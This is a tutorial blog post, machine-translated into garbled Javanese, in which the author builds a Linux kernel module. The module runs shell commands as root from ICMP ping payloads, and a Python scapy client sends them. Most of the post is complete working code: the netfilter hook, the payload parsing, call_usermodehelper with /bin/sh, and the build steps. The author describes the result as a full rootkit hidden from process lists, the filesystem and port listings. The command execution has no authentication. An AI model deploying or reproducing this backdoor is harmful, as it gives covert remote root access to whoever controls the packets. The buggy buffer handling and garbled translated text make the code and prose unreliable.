Nihan nuklir liwat ICMP

Nihan nuklir liwat ICMP

TL; DR: Aku nulis modul kernel sing bakal maca printah saka payload ICMP lan nglakokaké ing server sanajan SSH tubrukan. Kanggo sing paling ora sabar, kabeh kode kasebut GitHub.

Ati-ati Pemrogram C sing berpengalaman duwe risiko nangis getih! Aku bisa uga salah ing terminologi, nanging kritik apa wae. Kiriman kasebut ditujokake kanggo wong-wong sing duwe gagasan kasar babagan pemrograman C lan pengin ndeleng ing njero Linux.

Ing komentar kanggo pisanan artikel kasebut SoftEther VPN, sing bisa niru sawetara protokol "biasa", utamane HTTPS, ICMP lan malah DNS. Aku bisa mbayangno mung sing pisanan sing kerja, amarga aku ngerti banget karo HTTP (S), lan aku kudu sinau tunneling liwat ICMP lan DNS.

Nihan nuklir liwat ICMP

Ya, ing taun 2020, aku ngerti manawa sampeyan bisa nglebokake muatan sewenang-wenang menyang paket ICMP. Nanging luwih becik telat tinimbang ora nate! Lan amarga ana sing bisa ditindakake, mula kudu ditindakake. Wiwit ing urip saben dina aku paling kerep nggunakake baris perintah, kalebu liwat SSH, ide cangkang ICMP teka ing pikiranku. Lan kanggo ngumpul bingo bullshield lengkap, Aku mutusaké kanggo nulis minangka modul Linux ing basa sing aku mung duwe idea kasar. Cangkang kasebut ora bakal katon ing dhaptar pangolahan, sampeyan bisa mbukak menyang kernel lan ora bakal ana ing sistem file, sampeyan ora bakal weruh apa-apa sing curiga ing dhaptar port ngrungokake. Ing babagan kemampuane, iki minangka rootkit lengkap, nanging aku ngarep-arep bisa nambah lan nggunakake minangka cangkang pungkasan nalika Load Average dhuwur banget kanggo mlebu liwat SSH lan nglakokake paling ora. echo i > /proc/sysrq-triggerkanggo mulihake akses tanpa rebooting.

We njupuk editor teks, skills programming dhasar ing Python lan C, Google lan mesin virtual sing ora kepikiran sijine ing piso yen kabeh rusak (opsional - lokal VirtualBox / KVM / etc) lan ayo!

sisih klien

Aku rumangsa yen kanggo bagean klien aku kudu nulis naskah kanthi udakara 80 baris, nanging ana wong sing apikan sing nindakake kanggo aku. kabeh karya. Kode kasebut ternyata gampang banget, pas dadi 10 baris penting:

import sys
from scapy.all import sr1, IP, ICMP

if len(sys.argv) < 3:
    print('Usage: {} IP "command"'.format(sys.argv[0]))
    exit(0)

p = sr1(IP(dst=sys.argv[1])/ICMP()/"run:{}".format(sys.argv[2]))
if p:
    p.show()

Skrip njupuk rong argumen, alamat lan muatan. Sadurunge ngirim, muatan kasebut didhisiki karo kunci run:, kita bakal mbutuhake kanggo ngilangi paket kanthi muatan acak.

Kernel mbutuhake hak istimewa kanggo nggawe paket, mula skrip kasebut kudu ditindakake minangka superuser. Aja lali menehi ijin eksekusi lan nginstal scapy dhewe. Debian duwe paket sing diarani python3-scapy. Saiki sampeyan bisa mriksa cara kerjane.

Mlaku lan outputting printah
morq@laptop:~/icmpshell$ sudo ./send.py 45.11.26.232 "Hello, world!"
Begin emission:
.Finished sending 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 45
id = 17218
flags =
frag = 0
ttl = 58
proto = icmp
chksum = 0x3403
src = 45.11.26.232
dst = 192.168.0.240
options
###[ ICMP ]###
type = echo-reply
code = 0
chksum = 0xde03
id = 0x0
seq = 0x0
###[ Raw ]###
load = 'run:Hello, world!

Iki sing katon ing sniffer
morq@laptop:~/icmpshell$ sudo tshark -i wlp1s0 -O icmp -f "icmp and host 45.11.26.232"
Running as user "root" and group "root". This could be dangerous.
Capturing on 'wlp1s0'
Frame 1: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 192.168.0.240, Dst: 45.11.26.232
Internet Control Message Protocol
Type: 8 (Echo (ping) request)
Code: 0
Checksum: 0xd603 [correct] [Checksum Status: Good] Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]

Frame 2: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 45.11.26.232, Dst: 192.168.0.240
Internet Control Message Protocol
Type: 0 (Echo (ping) reply)
Code: 0
Checksum: 0xde03 [correct] [Checksum Status: Good] Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
[Request frame: 1] [Response time: 19.094 ms] Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]

^C2 packets captured

Beban ing paket respon ora owah.

modul kernel

Kanggo mbangun mesin virtual Debian sampeyan kudu paling ora make и linux-headers-amd64, liyane bakal teka ing wangun dependensi. Aku ora bakal nyedhiyani kabeh kode ing artikel; sampeyan bisa clone ing Github.

Persiyapan pancing

Kanggo miwiti, kita butuh rong fungsi kanggo mbukak modul lan mbongkar. Fungsi kanggo unloading ora dibutuhake, nanging banjur rmmod ora bakal bisa, modul mung bakal dibongkar nalika dipateni.

#include <linux/module.h>
#include <linux/netfilter_ipv4.h>

static struct nf_hook_ops nfho;

static int __init startup(void)
{
  nfho.hook = icmp_cmd_executor;
  nfho.hooknum = NF_INET_PRE_ROUTING;
  nfho.pf = PF_INET;
  nfho.priority = NF_IP_PRI_FIRST;
  nf_register_net_hook(&init_net, &nfho);
  return 0;
}

static void __exit cleanup(void)
{
  nf_unregister_net_hook(&init_net, &nfho);
}

MODULE_LICENSE("GPL");
module_init(startup);
module_exit(cleanup);

Apa sing kedadeyan ing kene:

  1. Loro file header ditarik kanggo ngapusi modul dhewe lan netfilter.
  2. Kabeh operasi liwat netfilter, sampeyan bisa nyetel pancingan ing. Kanggo nindakake iki, sampeyan kudu ngumumake struktur sing bakal dikonfigurasi pancing. Sing paling penting yaiku nemtokake fungsi sing bakal ditindakake minangka pancing: nfho.hook = icmp_cmd_executor; Aku bakal njaluk menyang fungsi dhewe mengko.
    Banjur aku nyetel wektu pangolahan kanggo paket: NF_INET_PRE_ROUTING nemtokake kanggo ngolah paket nalika pisanan katon ing kernel. Bisa digunakake NF_INET_POST_ROUTING kanggo ngolah paket nalika metu saka kernel.
    Aku nyetel filter kanggo IPv4: nfho.pf = PF_INET;.
    Aku menehi pancingan prioritas paling dhuwur: nfho.priority = NF_IP_PRI_FIRST;
    Lan aku ndhaptar struktur data minangka pancing nyata: nf_register_net_hook(&init_net, &nfho);
  3. Fungsi pungkasan mbusak pancing.
  4. Lisensi kasebut dituduhake kanthi jelas supaya kompiler ora sambat.
  5. Fungsi module_init() и module_exit() nyetel fungsi liyane kanggo initialize lan siksa modul.

Nguripake muatan

Saiki kita kudu ngekstrak payload, iki dadi tugas sing paling angel. Kernel ora duwe fungsi sing dibangun kanggo nggarap muatan; sampeyan mung bisa ngurai header protokol tingkat sing luwih dhuwur.

#include <linux/ip.h>
#include <linux/icmp.h>

#define MAX_CMD_LEN 1976

char cmd_string[MAX_CMD_LEN];

struct work_struct my_work;

DECLARE_WORK(my_work, work_handler);

static unsigned int icmp_cmd_executor(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
  struct iphdr *iph;
  struct icmphdr *icmph;

  unsigned char *user_data;
  unsigned char *tail;
  unsigned char *i;
  int j = 0;

  iph = ip_hdr(skb);
  icmph = icmp_hdr(skb);

  if (iph->protocol != IPPROTO_ICMP) {
    return NF_ACCEPT;
  }
  if (icmph->type != ICMP_ECHO) {
    return NF_ACCEPT;
  }

  user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
  tail = skb_tail_pointer(skb);

  j = 0;
  for (i = user_data; i != tail; ++i) {
    char c = *(char *)i;

    cmd_string[j] = c;

    j++;

    if (c == '')
      break;

    if (j == MAX_CMD_LEN) {
      cmd_string[j] = '';
      break;
    }

  }

  if (strncmp(cmd_string, "run:", 4) != 0) {
    return NF_ACCEPT;
  } else {
    for (j = 0; j <= sizeof(cmd_string)/sizeof(cmd_string[0])-4; j++) {
      cmd_string[j] = cmd_string[j+4];
      if (cmd_string[j] == '')
	break;
    }
  }

  schedule_work(&my_work);

  return NF_ACCEPT;
}

Apa kedaden:

  1. Aku kudu nyakup file header tambahan, wektu iki kanggo ngapusi header IP lan ICMP.
  2. Aku nyetel dawa baris maksimum: #define MAX_CMD_LEN 1976. Kenapa persis iki? Amarga compiler complains babagan! Dheweke wis menehi saran marang aku yen aku kudu ngerti tumpukan lan tumpukan, ing sawijining dina aku mesthi bakal nindakake iki lan bisa uga mbenerake kode kasebut. Aku langsung nyetel baris sing bakal ngemot printah: char cmd_string[MAX_CMD_LEN];. Sampeyan kudu katon ing kabeh fungsi; Aku bakal ngomong babagan iki kanthi luwih rinci ing paragraf 9.
  3. Saiki kita kudu miwiti (struct work_struct my_work;) struktur lan nyambungake karo fungsi liyane (DECLARE_WORK(my_work, work_handler);). Aku uga bakal ngomong babagan kenapa iki perlu ing paragraf kaping sanga.
  4. Saiki aku ngumumake fungsi, sing bakal dadi pancing. Jinis lan bantahan ditampa sing didikte dening netfilter, kita mung kasengsem ing skb. Iki minangka buffer soket, struktur data dhasar sing ngemot kabeh informasi sing kasedhiya babagan paket.
  5. Kanggo fungsi kasebut, sampeyan butuh rong struktur lan sawetara variabel, kalebu rong iterator.
      struct iphdr *iph;
      struct icmphdr *icmph;
    
      unsigned char *user_data;
      unsigned char *tail;
      unsigned char *i;
      int j = 0;
  6. Kita bisa miwiti karo logika. Kanggo modul bisa digunakake, ora perlu paket liyane saka ICMP Echo, supaya kita parse buffer nggunakake dibangun ing fungsi lan uncalan metu kabeh non-ICMP lan non-Echo paket. wangsul NF_ACCEPT tegese acceptance saka paket, nanging sampeyan uga bisa nyelehake paket dening bali NF_DROP.
      iph = ip_hdr(skb);
      icmph = icmp_hdr(skb);
    
      if (iph->protocol != IPPROTO_ICMP) {
        return NF_ACCEPT;
      }
      if (icmph->type != ICMP_ECHO) {
        return NF_ACCEPT;
      }

    Aku durung nyoba apa sing bakal kelakon tanpa mriksa header IP. Kawruhku minimal babagan C ngandhani yen tanpa pamriksan tambahan, kedadeyan sing nggegirisi bakal kelakon. Aku bakal bungah yen sampeyan ngganggu aku iki!

  7. Saiki paket kasebut saka jinis sing sampeyan butuhake, sampeyan bisa ngekstrak data kasebut. Tanpa fungsi sing dibangun, sampeyan kudu njaluk pointer menyang wiwitan muatan. Iki wis rampung ing sak panggonan, sampeyan kudu njupuk pitunjuk kanggo awal ICMP header lan pindhah menyang ukuran header iki. Kabeh nggunakake struktur icmph: user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
    Pungkasan header kudu cocog karo pungkasan muatan ing skb, mula kita entuk nggunakake sarana nuklir saka struktur sing cocog: tail = skb_tail_pointer(skb);.

    Nihan nuklir liwat ICMP

    Gambar kasebut dicolong saka kene, sampeyan bisa maca liyane babagan buffer soket.

  8. Sawise sampeyan duwe penunjuk menyang wiwitan lan pungkasan, sampeyan bisa nyalin data menyang senar cmd_string, priksa manawa ana prefiks run: lan, salah siji discard paket yen ilang, utawa nulis ulang baris maneh, njabut ater-ater iki.
  9. Iku, saiki sampeyan bisa nelpon pawang liyane: schedule_work(&my_work);. Amarga ora bakal bisa ngirim parameter menyang telpon kasebut, baris karo perintah kasebut kudu global. schedule_work() bakal nyeleh fungsi sing digandhengake karo struktur liwati menyang antrian umum saka tugas panjadwal lan lengkap, ngijini sampeyan ora ngenteni printah rampung. Iki perlu amarga pancing kudu cepet banget. Yen ora, pilihan sampeyan ora ana sing bakal diwiwiti utawa sampeyan bakal panik kernel. Tundha kaya pati!
  10. Sing, sampeyan bisa nampa paket karo bali cocog.

Nelpon program ing ruang panganggo

Fungsi iki paling bisa dingerteni. Jeneng kasebut diwenehi ing DECLARE_WORK(), jinis lan argumen sing ditampa ora menarik. Kita njupuk baris karo printah lan pass tanggung kanggo cangkang. Ayo dheweke ngatasi parsing, nggoleki binari lan liya-liyane.

static void work_handler(struct work_struct * work)
{
  static char *argv[] = {"/bin/sh", "-c", cmd_string, NULL};
  static char *envp[] = {"PATH=/bin:/sbin", NULL};

  call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}

  1. Setel argumen menyang array strings argv[]. Aku bakal nganggep yen kabeh wong ngerti yen program bener-bener dieksekusi kanthi cara iki, lan ora minangka baris sing terus-terusan karo spasi.
  2. Setel variabel lingkungan. Aku nglebokake mung PATH karo pesawat minimal path, ngarep-arep sing padha kabeh wis digabungake /bin с /usr/bin и /sbin с /usr/sbin. Path liyane arang banget penting ing laku.
  3. Rampung, ayo nglakoni! Fungsi kernel call_usermodehelper() nampa entri. path menyang binar, array argumen, array variabel lingkungan. Ing kene aku uga nganggep manawa saben wong ngerti makna ngliwati path menyang file eksekusi minangka argumen sing kapisah, nanging sampeyan bisa takon. Argumentasi pungkasan nemtokake manawa arep ngenteni proses rampung (UMH_WAIT_PROC), proses wiwitan (UMH_WAIT_EXEC) utawa ora ngenteni babar pisan (UMH_NO_WAIT). Apa ana liyane UMH_KILLABLE, Aku ora katon menyang.

Majelis

Majelis modul kernel ditindakake liwat kerangka kerja kernel. Ditelpon make ing direktori khusus sing diikat karo versi kernel (ditetepake ing kene: KERNELDIR:=/lib/modules/$(shell uname -r)/build), lan lokasi modul diterusake menyang variabel M ing argumentasi. Icmpshell.ko lan target resik nggunakake framework iki kabeh. ING obj-m nuduhake file obyek sing bakal diowahi dadi modul. Syntax sing remake main.o в icmpshell.o (icmpshell-objs = main.o) ora katon banget logis kanggo kula, nanging uga.

KERNELDIR:=/lib/modules/$(shell uname -r)/build

obj-m = icmpshell.o
icmpshell-objs = main.o

all: icmpshell.ko

icmpshell.ko: main.c
make -C $(KERNELDIR) M=$(PWD) modules

clean:
make -C $(KERNELDIR) M=$(PWD) clean

Kita ngumpulake: make. Loading: insmod icmpshell.ko. Rampung, sampeyan bisa mriksa: sudo ./send.py 45.11.26.232 "date > /tmp/test". Yen sampeyan duwe file ing mesin sampeyan /tmp/test lan ngemot tanggal panyuwunan dikirim, tegese sampeyan nindakake kabeh kanthi bener lan aku nindakake kabeh kanthi bener.

kesimpulan

Pengalaman pisanan karo pangembangan nuklir luwih gampang tinimbang sing dakkarepake. Malah tanpa pengalaman berkembang ing C, fokus ing pitunjuk compiler lan asil Google, aku bisa nulis modul apa lan aran kaya hacker kernel, lan ing wektu sing padha script kiddie. Kajaba iku, aku lunga menyang saluran Kernel Newbies, ing ngendi aku didhawuhi nggunakake schedule_work() tinimbang nelpon call_usermodehelper() nang pancing dhewe lan shamed wong, rightly Suspect a scam. A atus baris kode biaya kula babagan minggu pembangunan ing wektu luang. Pengalaman sukses sing ngrusak mitos pribadiku babagan kerumitan pangembangan sistem sing akeh banget.

Yen wong setuju kanggo nindakake review kode ing Github, aku bakal ngucapke matur nuwun. Aku cukup manawa aku digawe akeh kesalahane bodho, utamané nalika nggarap strings.

Nihan nuklir liwat ICMP

Source: www.habr.com

Add a comment